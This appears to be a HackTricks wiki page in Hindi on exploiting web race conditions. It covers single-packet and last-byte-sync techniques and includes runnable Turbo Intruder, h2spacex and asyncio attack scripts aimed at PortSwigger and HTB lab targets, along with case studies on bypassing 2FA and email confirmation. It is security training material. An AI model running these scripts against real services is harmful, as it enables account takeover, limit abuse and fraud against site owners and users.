# Race Condition {{#include ../banners/hacktricks-training.md}} > [!WARNING] > इस तकनीक की गहरी समझ प्राप्त करने के लिए [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) में मूल रिपोर्ट देखें। ## Enhancing Race Condition Attacks Race conditions का लाभ उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई अनुरोध एक ही समय में संभाले जाएं, **उनकी प्रोसेसिंग समय में बहुत कम अंतर के साथ—आदर्श रूप से, 1ms से कम**। यहां कुछ तकनीकें हैं जो अनुरोधों को समन्वयित करने के लिए हैं: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization - **HTTP/2**: एकल TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर के प्रभाव को कम करता है। हालाँकि, सर्वर-साइड भिन्नताओं के कारण, दो अनुरोध एक सुसंगत race condition exploit के लिए पर्याप्त नहीं हो सकते हैं। - **HTTP/1.1 'Last-Byte Sync'**: 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समान रूप से पहुंचने को प्राप्त करता है। **Last-Byte Sync के लिए तैयारी** में शामिल हैं: 1. अंतिम बाइट को समाप्त किए बिना हेडर और बॉडी डेटा भेजना। 2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना। 3. अंतिम फ्रेम को बैच करने के लिए Nagle के एल्गोरिदम का उपयोग करने के लिए TCP_NODELAY को अक्षम करना। 4. कनेक्शन को गर्म करने के लिए पिंग करना। रोकें गए फ्रेम का अगला भेजना एकल पैकेट में उनकी पहुंच का परिणाम होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं। ### Adapting to Server Architecture लक्ष्य की आर्किटेक्चर को समझना महत्वपूर्ण है। फ्रंट-एंड सर्वर अनुरोधों को अलग तरीके से रूट कर सकते हैं, जो समय को प्रभावित करता है। महत्वहीन अनुरोधों के माध्यम से पूर्व-emptive सर्वर-साइड कनेक्शन गर्म करना, अनुरोध समय को सामान्य कर सकता है। #### Handling Session-Based Locking PHP के सत्र हैंडलर जैसे ढांचे सत्र द्वारा अनुरोधों को अनुक्रमित करते हैं, संभावित रूप से कमजोरियों को अस्पष्ट करते हैं। प्रत्येक अनुरोध के लिए विभिन्न सत्र टोकन का उपयोग इस समस्या को हल कर सकता है। #### Overcoming Rate or Resource Limits यदि कनेक्शन गर्म करना प्रभावी नहीं है, तो dummy अनुरोधों की बाढ़ के माध्यम से वेब सर्वर के दर या संसाधन सीमा विलंब को जानबूझकर ट्रिगर करना एकल-पैकेट हमले को सुविधाजनक बना सकता है, जिससे सर्वर-साइड विलंब उत्पन्न होता है जो race conditions के लिए अनुकूल है। ## Attack Examples - **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप अनुरोध को **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) पर भेज सकते हैं, आप अनुरोध में उस मान को बदल सकते हैं जिसे आप **`%s`** के लिए ब्रूट फोर्स करना चाहते हैं जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर ड्रॉप डाउन से **`examples/race-single-packer-attack.py`** का चयन करें:
यदि आप **विभिन्न मान भेजने** जा रहे हैं, तो आप इस कोड को संशोधित कर सकते हैं जो क्लिपबोर्ड से एक शब्द सूची का उपयोग करता है: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] > यदि वेब HTTP2 का समर्थन नहीं करता है (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग करें, `Engine.BURP2` के बजाय। - **Tubo Intruder - HTTP2 एकल-पैकेट हमला (कई एंडपॉइंट)**: यदि आपको 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता है और फिर अन्य एंडपॉइंट्स पर कई भेजने की आवश्यकता है ताकि RCE को ट्रिगर किया जा सके, तो आप `race-single-packet-attack.py` स्क्रिप्ट को कुछ इस तरह बदल सकते हैं: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` - यह **Repeater** में भी उपलब्ध है, Burp Suite में नए '**Send group in parallel**' विकल्प के माध्यम से। - **limit-overrun** के लिए, आप समूह में **एक ही अनुरोध 50 बार** जोड़ सकते हैं। - **connection warming** के लिए, आप **group** के **शुरुआत** में कुछ **अनुरोध** जोड़ सकते हैं जो वेब सर्वर के कुछ गैर-स्थिर भाग पर हों। - **delaying** प्रक्रिया के लिए **एक अनुरोध और दूसरे** के बीच **प्रसंस्करण** में 2 उप-राज्य चरणों में, आप **दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**। - **multi-endpoint** RC के लिए, आप **request** भेजना शुरू कर सकते हैं जो **hidden state** की ओर जाता है और फिर इसके तुरंत बाद **50 requests** जो **hidden state** का लाभ उठाते हैं।
- **Automated python script**: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता का ईमेल बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा गया था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)।\ जब प्राप्त ईमेल में "objetivo" शब्द पाया जाता है, तो हम जानते हैं कि हमें बदले गए ईमेल का सत्यापन टोकन प्राप्त हुआ है और हम हमले को समाप्त कर देते हैं। ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### एकल पैकेट हमले में सुधार मूल शोध में यह बताया गया है कि इस हमले की सीमा 1,500 बाइट्स है। हालाँकि, [**इस पोस्ट**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में यह बताया गया था कि कैसे एकल पैकेट हमले की 1,500-बाइट सीमा को **IP लेयर फ्रैग्मेंटेशन का उपयोग करके TCP की 65,535 B विंडो सीमा** तक बढ़ाया जा सकता है (एकल पैकेट को कई IP पैकेट में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे पैकेट को फिर से इकट्ठा करने से रोका जा सके जब तक कि सभी फ्रैग्मेंट सर्वर तक नहीं पहुँच जाते। इस तकनीक ने शोधकर्ता को लगभग 166ms में 10,000 अनुरोध भेजने की अनुमति दी। ध्यान दें कि हालांकि यह सुधार RC में हमले को अधिक विश्वसनीय बनाता है जो सैकड़ों/हजारों पैकेट को एक साथ आने की आवश्यकता होती है, लेकिन इसके कुछ सॉफ़्टवेयर सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP सर्वर जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग 100, 128 और 250 है। हालाँकि, अन्य जैसे NodeJS और nghttp2 में यह असीमित है।\ इसका मतलब यह है कि Apache एकल TCP कनेक्शन से केवल 100 HTTP कनेक्शनों पर विचार करेगा (इस RC हमले को सीमित करना)। आप इस तकनीक का उपयोग करते हुए कुछ उदाहरण [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) में पा सकते हैं। ## कच्चा BF पिछले शोध से पहले, कुछ पेलोड थे जो केवल पैकेट को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि एक RC का कारण बन सके। - **रीपीटर:** पिछले अनुभाग से उदाहरण देखें। - **इंट्रूडर**: **Intruder** को **अनुरोध** भेजें, **विकल्प मेनू में** **थ्रेड्स की संख्या** को **30** पर सेट करें, और **Null payloads** के रूप में पेलोड चुनें और **30** उत्पन्न करें। - **टर्बो इंट्रूडर** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` - **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Methodology** ### Limit-overrun / TOCTOU यह रेस कंडीशन का सबसे बुनियादी प्रकार है जहाँ **कमजोरियाँ** उन स्थानों पर **प्रकट** होती हैं जो **आपको एक क्रिया करने के लिए कितनी बार सीमित करते हैं**। जैसे कि एक वेब स्टोर में एक ही डिस्काउंट कोड का कई बार उपयोग करना। एक बहुत आसान उदाहरण [**इस रिपोर्ट**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**इस बग**](https://hackerone.com/reports/759247)** में पाया जा सकता है।** इस प्रकार के हमले के कई रूप हैं, जिनमें शामिल हैं: - एक उपहार कार्ड को कई बार भुनाना - एक उत्पाद को कई बार रेटिंग देना - अपने खाते के बैलेंस से अधिक नकद निकालना या ट्रांसफर करना - एक ही CAPTCHA समाधान का पुनः उपयोग करना - एंटी-ब्रूट-फोर्स दर सीमा को बायपास करना ### **Hidden substates** जटिल रेस कंडीशनों का शोषण अक्सर छिपे हुए या **अनपेक्षित मशीन उप-राज्यों** के साथ बातचीत करने के लिए संक्षिप्त अवसरों का लाभ उठाने में शामिल होता है। इसे कैसे करना है: 1. **संभावित छिपे हुए उप-राज्यों की पहचान करें** - उन एंडपॉइंट्स को पहचानने से शुरू करें जो महत्वपूर्ण डेटा को संशोधित या इंटरैक्ट करते हैं, जैसे कि उपयोगकर्ता प्रोफाइल या पासवर्ड रीसेट प्रक्रियाएँ। ध्यान केंद्रित करें: - **स्टोरेज**: सर्वर-साइड स्थायी डेटा को संभालने वाले एंडपॉइंट्स को प्राथमिकता दें, बजाय उन डेटा को संभालने वाले जो क्लाइंट-साइड हैं। - **एक्शन**: उन ऑपरेशनों की तलाश करें जो मौजूदा डेटा को बदलते हैं, जो नए डेटा जोड़ने की तुलना में शोषण योग्य स्थितियाँ बनाने की अधिक संभावना रखते हैं। - **कीइंग**: सफल हमले आमतौर पर उसी पहचानकर्ता पर की गई ऑपरेशनों में शामिल होते हैं, जैसे कि उपयोगकर्ता नाम या रीसेट टोकन। 2. **प्रारंभिक परीक्षण करें** - पहचाने गए एंडपॉइंट्स पर रेस कंडीशन हमलों के साथ परीक्षण करें, किसी भी अपेक्षित परिणामों से विचलन के लिए अवलोकन करें। अप्रत्याशित प्रतिक्रियाएँ या एप्लिकेशन व्यवहार में परिवर्तन एक कमजोरी का संकेत दे सकते हैं। 3. **कमजोरी का प्रदर्शन करें** - हमले को कमजोरियों का शोषण करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर केवल दो। इस चरण में सटीक समय के कारण कई प्रयासों या स्वचालन की आवश्यकता हो सकती है। ### Time Sensitive Attacks अनुरोधों के समय में सटीकता कमजोरियों को प्रकट कर सकती है, विशेष रूप से जब सुरक्षा टोकनों के लिए पूर्वानुमानित विधियों जैसे टाइमस्टैम्प का उपयोग किया जाता है। उदाहरण के लिए, टाइमस्टैम्प के आधार पर पासवर्ड रीसेट टोकन उत्पन्न करना समानांतर अनुरोधों के लिए समान टोकन की अनुमति दे सकता है। **शोषण करने के लिए:** - सटीक समय का उपयोग करें, जैसे एकल पैकेट हमला, समानांतर पासवर्ड रीसेट अनुरोध करने के लिए। समान टोकन एक कमजोरी का संकेत देते हैं। **उदाहरण:** - एक ही समय में दो पासवर्ड रीसेट टोकन का अनुरोध करें और उनकी तुलना करें। मेल खाते टोकन टोकन उत्पन्न करने में एक दोष का सुझाव देते हैं। **इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **।** ## Hidden substates case studies ### Pay & add an Item इसका परीक्षण करें [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) यह देखने के लिए कि **भुगतान** कैसे करें और **एक अतिरिक्त** आइटम **जोड़ें** जिसके लिए **आपको भुगतान करने की आवश्यकता नहीं होगी**। ### Confirm other emails विचार यह है कि **एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें** यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए बदले गए को सत्यापित करता है। ### Change email to 2 emails addresses Cookie based [**इस शोध**](https://portswigger.net/research/smashing-the-state-machine) के अनुसार Gitlab इस तरीके से अधिग्रहण के लिए कमजोर था क्योंकि यह **एक ईमेल के ईमेल सत्यापन टोकन को दूसरे ईमेल पर भेज सकता है**। **इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **।** ### Hidden Database states / Confirmation Bypass यदि **2 अलग-अलग लेखन** का उपयोग करके **जानकारी** को **डेटाबेस** के अंदर **जोड़ने** के लिए किया जाता है, तो एक छोटा सा समय होता है जहाँ **केवल पहला डेटा डेटाबेस के अंदर लिखा गया है**। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है, तो **उपयोगकर्ता नाम** और **पासवर्ड** को **लिखा** जा सकता है और **फिर टोकन** को नए बनाए गए खाते की पुष्टि करने के लिए लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए **खाते की पुष्टि करने के लिए टोकन शून्य है**। इसलिए **एक खाता पंजीकृत करना और तुरंत खाली टोकन के साथ कई अनुरोध भेजना** (`token=` या `token[]=` या किसी अन्य भिन्नता) एक खाते की पुष्टि करने की अनुमति दे सकता है जहाँ आप ईमेल को नियंत्रित नहीं करते हैं। **इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **।** ### Bypass 2FA निम्नलिखित प्सuedo-कोड रेस कंडीशन के प्रति संवेदनशील है क्योंकि बहुत छोटे समय में **2FA लागू नहीं होता** जबकि सत्र बनाया जाता है: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 स्थायी स्थायीता कई [**OAUth प्रदाता**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) हैं। ये सेवाएँ आपको एक एप्लिकेशन बनाने और उन उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी जिन्हें प्रदाता ने पंजीकृत किया है। ऐसा करने के लिए, **क्लाइंट** को **आपके एप्लिकेशन** को **OAUth प्रदाता** के अंदर उनके कुछ डेटा तक पहुँचने की **अनुमति** देनी होगी।\ तो, यहाँ तक कि यह एक सामान्य लॉगिन है जैसे google/linkedin/github... जहाँ आपको एक पृष्ठ पर संकेत दिया जाता है: "_एप्लिकेशन \ आपकी जानकारी तक पहुँचने की इच्छा रखता है, क्या आप इसे अनुमति देना चाहते हैं?_" #### `authorization_code` में रेस कंडीशन **समस्या** तब उत्पन्न होती है जब आप **इसे स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि **कई खाते बनाए जा सकें**। फिर, यदि आप **एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य अभी भी मान्य रहेंगी**। #### `Refresh Token` में रेस कंडीशन एक बार जब आप **एक मान्य RT प्राप्त कर लेते हैं** तो आप **कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं** और **यहां तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमतियाँ रद्द कर देता है, तो भी **कई RTs मान्य रहेंगी।** ## **RC वेब सॉकेट्स में** [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को **समानांतर** में भेजने के लिए **रेस कंडीशंस का दुरुपयोग** करता है। ## संदर्भ - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) - [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) {{#include ../banners/hacktricks-training.md}}